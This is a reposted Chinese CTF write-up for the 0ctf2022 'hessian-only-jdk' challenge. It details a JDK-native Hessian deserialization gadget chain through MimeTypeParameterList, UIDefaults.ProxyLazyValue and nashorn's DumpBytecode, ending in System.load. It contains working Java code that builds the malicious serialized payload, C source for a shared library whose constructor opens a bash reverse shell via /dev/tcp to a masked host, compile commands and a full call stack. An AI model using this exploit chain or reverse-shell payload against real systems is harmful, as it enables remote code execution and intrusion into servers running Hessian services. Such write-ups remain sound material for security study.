记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

0ctf2022 hessian-only-jdk writeup jdk原生链

2022-09-28 18:26

周末和cx某人打了0ctf ,继hfctf2022 ezchain 找到rome二次反序列化链之后 ,hessian到挖jdk原生链了2333.

环境 : 只有 hessian 4.0.38 + jdk8u342 直接就是hessian 反序列化,挖jdk原生链

hessian不需要继承serializable,
设置 SerializerFactory里面 setAllowNonSerializable(true);就行
和xstream有点类似 ,所以hessian的jdk原生链可以从xstream的历史链来作参考 。

https://x-stream.github.io/CVE-2021-21346.html

Rdn$RdnEntry#compareTo->
XString#equal->
MultiUIDefaults#toString->
UIDefaults#get->
UIDefaults#getFromHashTable->
UIDefaults$LazyValue#createValue->
SwingLazyValue#createValue->
InitialContext#doLookup()

但是实际上并不能直接用,
首先是javax.swing.MultiUIDefaults
在反序列化的时候就会报错java.lang.IllegalAccessException: Class com.caucho.hessian.io.MapDeserializer can not access a member of class javax.swing.MultiUIDefaults with modifiers "public"

所以需要找个类替代 MultiUIDefaults ,UIDefaults 是继承Hashtable的 ,所以需要toString() -> Hashtable.get() 的 ,找到了个java.awt.datatransfer.MimeTypeParameterList

java.awt.datatransfer.MimeTypeParameterList
private Hashtable<String, String> parameters;
public String toString() {
Enumeration<String> keys = parameters.keys();
while(keys.hasMoreElements())
{
buffer.append("; ");
String key = keys.nextElement();
...
buffer.append(quote(parameters.get(key)));
....
}
}

触发toString()

构造畸形的序列化数据
在Hessian2Input.expect这里

protected IOException expect(String expect, int ch) throws IOException {
....
try {
...
Object obj = this.readObject();
return obj != null ? this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " " + obj.getClass().getName() + " (" + obj + ")" + "\n " + context + "") : this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " null");
}

obj.getClass().getName() + " (" + obj + ")" + "\n " 直接将obj拼接了 可以触发toString

在Hessian2Input.readObject case67 的时候->
this.readObjectDefinition((Class)null);->
throw this.expect("string", tag);-> this.expect()

所以重写
com.caucho.hessian.io.Hessian2Output在 writeString这里改下就行

SwingLazyValue && ProxyLazyValue

在SwingLazyValue.createValue中

拿到public static 的方法 然后invoke ,一般来说这种是用jndi来打比较多,但是题目没有tomcat 或者gadget, 所以jndi没法使用
然后这里有个大坑等等说到。
题目将
com.sun.org.apache.xml.internal.security.utils.JavaUtils 给ban了
看一下这个类原本的writeBytesToFilename ,直接写文件

public static void writeBytesToFilename(String filename, byte[] bytes) {
if (filename != null && bytes != null) {
try (OutputStream outputStream = Files.newOutputStream(Paths.get(filename))) {
outputStream.write(bytes);

所以现在思路应该很清晰了,在写文件的情况下 一般都是和System.load 组合拳 ,现在就是需要找一个public static 的写文件方法绕过JavaUtils.writeBytesToFilename(后来被告知是非预期解 打脸)
然后就是找 , 找到jdk.nashorn.internal.codegen.DumpBytecode.dumpBytecode

然后就是一个大坑。。。

因为classLoader的原因 ,在SwingLazyValue这里只能加载rt.jar 里面的类
而我找的jdk.nashorn.internal.codegen.DumpBytecode.dumpBytecode 位于nashorn.jar 里面
无法加载,在这里卡了很久 ,后来看到了个 ProxyLazyValue.createValue

public Object createValue(final UIDefaults table) {
if (acc == null && System.getSecurityManager() != null) {
throw new SecurityException("null AccessControlContext");
}
return AccessController.doPrivileged(new PrivilegedAction<Object>() {
public Object run() {
try {
Class<?> c;
Object cl;
if (table == null || !((cl = table.get("ClassLoader"))
instanceof ClassLoader)) {
cl = Thread.currentThread().
getContextClassLoader();
if (cl == null) {
cl = ClassLoader.getSystemClassLoader();
}
}
ReflectUtil.checkPackageAccess(className);
c = Class.forName(className, true, (ClassLoader)cl);
SwingUtilities2.checkAccess(c.getModifiers());
if (methodName != null) {
Class[] types = getClassArray(args);
Method m = c.getMethod(methodName, types);
return MethodUtil.invoke(m, c, args);
} else {

获取到classLoader ,所以就能正常加载jdk 里面nashorn.jar 这些里面的类了

然后由于Hessian 序列化的机制,ProxyLazyValue里面的 field acc 是在反序列化过程中会报错 , 所以需要将acc 反射设置为null

使用DumpBytecode.dumpBytecode 创建个动态链接库, 然后System.load 执行就行了

#include <stdlib.h>
#include <stdio.h>

void __attribute__ ((__constructor__)) aasdnqwgasdela1 (){

system("echo '/bin/bash -i >& /dev/tcp/xxxxxxxx/9998 0>&1' > /tmp/1");
system("/bin/bash /tmp/1");
}

gcc -c a.c -o a && gcc a --share -o a.so

创建文件

SerializerFactory sf = new SerializerFactory();
sf.setAllowNonSerializable(true);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(byteArrayOutputStream);
out.setSerializerFactory(sf);
Unsafe unsafe = getUnsafe();
Object script = unsafe.allocateInstance(ScriptEnvironment.class);
setFieldValue(script,"_dest_dir","/tmp/");
Object debug=unsafe.allocateInstance(DebugLogger.class);
byte[] code=Files.readAllBytes(Paths.get("a.so"));
String classname="asdxxxxxxx";
UIDefaults.ProxyLazyValue proxyLazyValue = new UIDefaults.ProxyLazyValue("jdk.nashorn.internal.codegen.DumpBytecode", "dumpBytecode", new Object[]{
script,
debug,
code,
classname
});
setFieldValue(proxyLazyValue,"acc",null);


UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put("q", proxyLazyValue);

Class clazz;
clazz = Class.forName("java.awt.datatransfer.MimeTypeParameterList");
Object mimeTypeParameterList = unsafe.allocateInstance(clazz);
setFieldValue(mimeTypeParameterList, "parameters", uiDefaults);

out.writeString("aaaxxxx");
out.writeObject(mimeTypeParameterList);
out.flushBuffer();
byte[] bytes = byteArrayOutputStream.toByteArray();
Files.write(Paths.get("ser"),bytes);

System.load 直接改下调用方法就行了,System.load 在rt.jar 里面 用SwingLazyValue 也一样

SwingLazyValue swingLazyValue = new SwingLazyValue("java.lang.System", "load", new Object[]{
"/tmp/asdxxxxxxx.class"
});

附上完整调用栈

dumpBytecode:94, DumpBytecode (jdk.nashorn.internal.codegen)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect) [2]
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:71, Trampoline (sun.reflect.misc)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect) [1]
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:275, MethodUtil (sun.reflect.misc)
run:1108, UIDefaults$ProxyLazyValue$1 (javax.swing)
doPrivileged:-1, AccessController (java.security)
createValue:1087, UIDefaults$ProxyLazyValue (javax.swing)
getFromHashtable:216, UIDefaults (javax.swing)
get:161, UIDefaults (javax.swing)
toString:290, MimeTypeParameterList (java.awt.datatransfer)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
expect:2880, Hessian2Input (com.caucho.hessian.io)
readString:1398, Hessian2Input (com.caucho.hessian.io)
readObjectDefinition:2180, Hessian2Input (com.caucho.hessian.io)
readObject:2122, Hessian2Input (com.caucho.hessian.io)
handle:43, Index$MyHandler (com.caucho.hessian.io)
doFilter:79, Filter$Chain (com.sun.net.httpserver)
doFilter:83, AuthFilter (sun.net.httpserver)
doFilter:82, Filter$Chain (com.sun.net.httpserver)
handle:675, ServerImpl$Exchange$LinkHandler (sun.net.httpserver)
doFilter:79, Filter$Chain (com.sun.net.httpserver)
run:647, ServerImpl$Exchange (sun.net.httpserver)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)

知识来源: https://xz.aliyun.com/t/11732

阅读:481897 | 评论:0 | 标签:CTF

想收藏或者和大家分享这篇好文章→复制链接地址

“0ctf2022 hessian-only-jdk writeup jdk原生链”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

黑帝公告 📢

十年经营持续更新精选优质黑客技术文章Hackdig,帮你成为掌握黑客技术的英雄

🙇🧎¥由自富财,长成起一↓

标签云 ☁